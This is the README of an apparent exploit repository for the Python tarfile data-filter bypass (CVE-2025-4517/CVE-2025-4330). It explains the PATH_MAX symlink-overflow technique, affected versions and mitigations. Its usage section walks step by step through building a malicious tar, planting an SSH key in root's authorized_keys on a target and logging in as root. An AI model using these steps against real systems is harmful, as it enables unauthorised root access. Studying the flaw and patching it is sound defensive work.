CVE-2025-4517 / CVE-2025-4330 — Python tarfile Data Filter Bypass via PATH_MAX Overflow

Author: 0xDTC CVEs: CVE-2025-4517 / CVE-2025-4330 Advisory: GHSA-6r6c-684h-9j7p CPython Fix: PR #135037

Overview

Python's tarfile.extractall(filter="data") is supposed to safely extract tar archives by preventing path traversal (absolute paths, .. sequences, and symlinks escaping the destination). However, a bug in os.path.realpath(strict=False) allows this filter to be bypassed entirely.

When the resolved path exceeds PATH_MAX (4096 bytes on Linux), os.path.realpath() silently stops resolving symlinks and falls back to string manipulation. This means a carefully crafted symlink chain can trick Python into thinking a symlink resolves inside the extraction directory when it actually escapes to /.

Affected Versions

Branch	Affected	Fixed In
3.12.x	3.12.0 – 3.12.10	3.12.11
3.13.x	3.13.0 – 3.13.3	3.13.4
3.14.x	3.14.0a1 – 3.14.0a7	3.14.0b1

How It Works

The exploit constructs a tar archive containing:

1. 16 directory/symlink pairs — each directory has a ~240-character name, with a short (1-char) symlink pointing to it
2. A 254-character escaping symlink — placed at the end of the short chain, pointing back 16 levels
3. An "escape" symlink — traverses the chain and exceeds PATH_MAX, tricking realpath
4. A regular file — written through the escape symlink to an arbitrary location outside the extraction directory

The core insight: following a/b/c/.../p through short symlinks stays under PATH_MAX, but realpath expands each to the ~240-char real directory name. By the time it hits the 254-char link name, the resolved path exceeds 4096 bytes and realpath gives up — silently returning an incorrect result.

Data Flow Diagram

flowchart TD
    A["Attacker crafts malicious tar"] --> B["tar contains:
    16 dir/symlink pairs
    254-char escape symlink
    'escape' symlink to /
    payload file"]

    B --> C["Target extracts with
    tarfile.extractall(filter='data')"]

    C --> D{"Python resolves symlinks
    via os.path.realpath()"}

    D --> E["Follows short symlinks a→ddd...d
    Resolved path grows with each step"]

    E --> F{"Resolved path length
    > PATH_MAX (4096)?"}

    F -->|"No (normal)"| G["realpath correctly resolves
    Symlink blocked by filter ✓"]

    F -->|"Yes (overflow!)"| H["realpath STOPS resolving
    Falls back to string manipulation"]

    H --> I["Python thinks symlink
    resolves INSIDE extraction dir"]

    I --> J["Filter PASSES the symlink ✗"]

    J --> K["OS follows symlink correctly
    'escape' resolves to /"]

    K --> L["Payload written to
    arbitrary file on disk"]

    style F fill:#ff6b6b,color:#fff
    style H fill:#ff6b6b,color:#fff
    style J fill:#ff6b6b,color:#fff
    style L fill:#ff6b6b,color:#fff
    style G fill:#51cf66,color:#fff

Attack Sequence

sequenceDiagram
    participant A as Attacker Machine
    participant T as Target Machine

    Note over A: Phase 1 — Preparation
    A->>A: Generate SSH keypair (ssh-keygen)
    A->>A: Configure exploit variables<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
    A->>A: Run CVE-2025-4517.py or .go<br/>to generate malicious tar

    Note over A,T: Phase 2 — Delivery
    A->>T: Transfer malicious tar to target<br/>(scp, wget, curl, ftp, etc.)
    T->>T: Place tar in location accessible<br/>to the vulnerable script

    Note over T: Phase 3 — Exploitation
    T->>T: Trigger extraction via the<br/>vulnerable Python script
    T->>T: Python calls tarfile.extractall(filter="data")

    Note over T: What Python sees vs reality
    T->>T: realpath() overflows at PATH_MAX
    T->>T: Filter thinks "escape" symlink is safe
    T->>T: OS follows "escape" → resolves to /
    T->>T: Payload written to /root/.ssh/authorized_keys

    Note over A,T: Phase 4 — Access
    A->>T: SSH as root using the written key
    T-->>A: Root shell obtained

Tar Archive Structure

graph LR
    subgraph "Tar Members (extracted in order)"
        D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
        D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
        D3["📁 ...16 levels..."] --> S3["🔗 .../p → ddd...d"]
        S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
        S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
        F1["📄 escape/root/.ssh/authorized_keys<br/>(payload content)"]
    end

    S1 -.->|"short path<br/>stays small"| S2
    S2 -.-> S3
    S3 -.-> S4
    S4 -.->|"254 chars pushes<br/>past PATH_MAX"| S5
    S5 -.->|"resolves to /"| F1

Usage

Configuration

Both scripts have a configuration section at the top with these variables:

Variable	Description	Example
DEST_DIR	Full path to the extraction directory on the target	/tmp/staging/extract_dir/
DEPTH_TO_ROOT	Number of directories from / to DEST_DIR	4 for /opt/app/staging/dir/
TARGET_FILE	File to write, relative to /	root/.ssh/authorized_keys
PAYLOAD	Content to write into the target file	Your SSH public key
OUTPUT	Output tar filename	Must match the target's expected pattern

Attacker Machine

Option A: Python

# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''

# 2. Edit CVE-2025-4517.py — update DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT

# 3. Generate the malicious tar
python3 CVE-2025-4517.py

# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/

Option B: Go

# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''

# 2. Edit CVE-2025-4517.go — update destDir, depthToRoot, payload, output

# 3. Generate the malicious tar
go run CVE-2025-4517.go

# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/

Target Machine

# Trigger extraction via the vulnerable Python script
# The exact command depends on how the target script is invoked
# Example:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir

Post-Exploitation

# SSH as root using the planted key
ssh -i root_key root@target

Calculating DEPTH_TO_ROOT

Count the number of directories from / to your extraction path:

/tmp/staging/extract_dir/
 (1)   (2)     (3)

DEPTH_TO_ROOT = 3

/var/lib/app/data/staging/
 (1) (2)  (3) (4)   (5)

DEPTH_TO_ROOT = 5

/opt/restore/backups/output_dir/
 (1)   (2)     (3)      (4)

DEPTH_TO_ROOT = 4

Vulnerable Code Pattern

Any Python script using tarfile.extractall() with filter="data" on an affected version is potentially exploitable:

import tarfile

with tarfile.open("archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")  # VULNERABLE

The filter="data" was introduced as a security measure to prevent tar path traversal attacks. Ironically, the vulnerability exists in the very mechanism (os.path.realpath) that the filter relies on to validate symlink targets.

Mitigation

• Upgrade Python to 3.12.11+, 3.13.4+, or 3.14.0b1+
• Avoid extracting untrusted tar archives regardless of filter settings
• Use additional validation on extracted file paths after extraction

References

• CVE-2025-4517 - NVD
• CVE-2025-4330 - Wiz Vulnerability Database
• GHSA-6r6c-684h-9j7p - GitHub Advisory
• CPython PR #135037 - Fix